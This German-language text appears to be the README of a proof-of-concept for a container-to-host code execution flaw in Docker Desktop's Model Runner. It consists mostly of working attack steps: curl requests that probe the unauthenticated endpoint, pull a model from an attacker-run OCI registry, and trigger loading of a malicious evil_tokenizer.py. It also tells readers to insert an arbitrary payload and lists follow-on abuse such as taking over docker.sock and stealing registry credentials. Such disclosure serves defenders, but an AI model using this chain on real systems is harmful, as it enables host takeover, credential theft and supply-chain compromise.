
Docker Model Runner Container-to-Host RCE / Escape: Eine kritische Schwachstelle, die eine Codeausführung vom Container zum Host im MLX- / SGLANG- / VLLM-Inferenz-Backend des Docker Model Runner ermöglicht.
Jeder Container auf einem Docker-Desktop-Host (4.40.0 bis 4.67.x) kann mit zwei HTTP-Anfragen Code auf dem Host ausführen. Kein Socket-Mount, kein --privileged, keine Caps.
Jeder Container kann Model Runner unter model-runner.docker.internal ohne Authentifizierung erreichen. Er zieht Modelle aus beliebigen OCI-Registries, auf die du ihn zeigst, und speichert sie, ohne Digests zu verifizieren. Die Python-Backends (vLLM, MLX, SGLang) laden das Modell mit trust_remote_code=True (oder im MLX-Fall wird trust_remote_code in der Konfigurationseingabe nicht einmal berücksichtigt), wodurch jede .py-Datei importiert wird, auf die das Modell in tokenizer_config.json verweist. Diese .py wird als Desktop-Benutzer ausgeführt.
Ausgangslage: Der Angreifer hat Codeausführung innerhalb eines beliebigen Containers auf dem Host. Feindliches Basis-Image, bösartige npm/pip-Installation in einer Dev-Umgebung, ein CI-Runner, der Angreifer-kontrollierten Code aufnimmt, usw. Kein Docker-Socket-Mount, kein --privileged, keine zusätzlichen Caps.
Model Runner testen.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 bedeutet, dass Model Runner aktiv und von diesem Container aus erreichbar ist. Keine Authentifizierung, kein Origin-Header erforderlich.
Eine bösartige OCI-Registry aufsetzen. Jeder HTTP-Server, der die OCI-Distribution-Spec spricht, funktioniert. Die Registry muss vom Host aus erreichbar sein (Model Runner läuft auf dem Host, nicht im Container). Entweder hostest du sie im öffentlichen Internet oder du betreibst sie lokal und veröffentlichst einen Port (docker-compose.yml macht Letzteres für diesen PoC). Sie liefert ein minimales, gültiges Llama-Modell aus, dessen tokenizer_config.json ein auto_map enthält, das auf evil_tokenizer.py zeigt. evil_tokenizer.py ist die Host-Payload. Siehe rce_registry.py.
Model Runner aus deiner Registry pullen lassen.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner lädt das Manifest und dann jeden Blob herunter und schreibt sie in seinen On-Disk-Speicher. Kein Digest wird neu berechnet oder verglichen, keine Signaturprüfung. Das bösartige Modell ist nun installiert.
Ersetze die Zeilen rce_registry.py:45-105 durch eine beliebige Payload.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
Der Proof landet unter /tmp/poc_rce_proof.
rce_registry.py - gefälschte OCI-Registry, liefert ein minimales Llama-Modell plus evil_tokenizer.pytest_claims.py - prüft jede Behauptung gegen den Quellcode und das laufende Systemrun_poc.sh - Wrapperdocker-compose.yml - Registry + unprivilegierter Angreifer-ContainerDockerfile.registry, Dockerfile.attacker - ImagesInferenz auslösen, damit das Modell geladen wird.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner wählt ein Python-Backend (vLLM, MLX oder SGLang) aus und startet es mit --model <bundle_dir>, das auf das gespeicherte Modell zeigt. Das Backend ruft AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True) auf. Transformers liest tokenizer_config.json, sieht die auto_map und importiert evil_tokenizer.py aus dem Bundle-Verzeichnis. Code auf Modulebene wird beim Import ausgeführt.
Payload läuft auf dem Host. Sie läuft als Docker-Desktop-Benutzer, außerhalb jedes Containers, mit vollem Dateisystem- und Netzwerkzugriff des Benutzers. Die Inferenz selbst schlägt gewöhnlich fehl (das Modell ist zu klein, um tatsächlich zu laufen), aber das spielt keine Rolle, der Import passierte zuerst.
Was der Angreifer davon hat.
/var/run/docker.sock ist erreichbar. Daemon-Kontrolle: privilegierte Container erstellen, das Host-Dateisystem in einen davon mounten, in andere Container exec ausführen usw.~/.docker/config.json enthält Anmeldeinformationen für jede Registry, bei der der Benutzer angemeldet ist. Supply-Chain-Angriffspunkt: bösartige Images stromaufwärts pushen.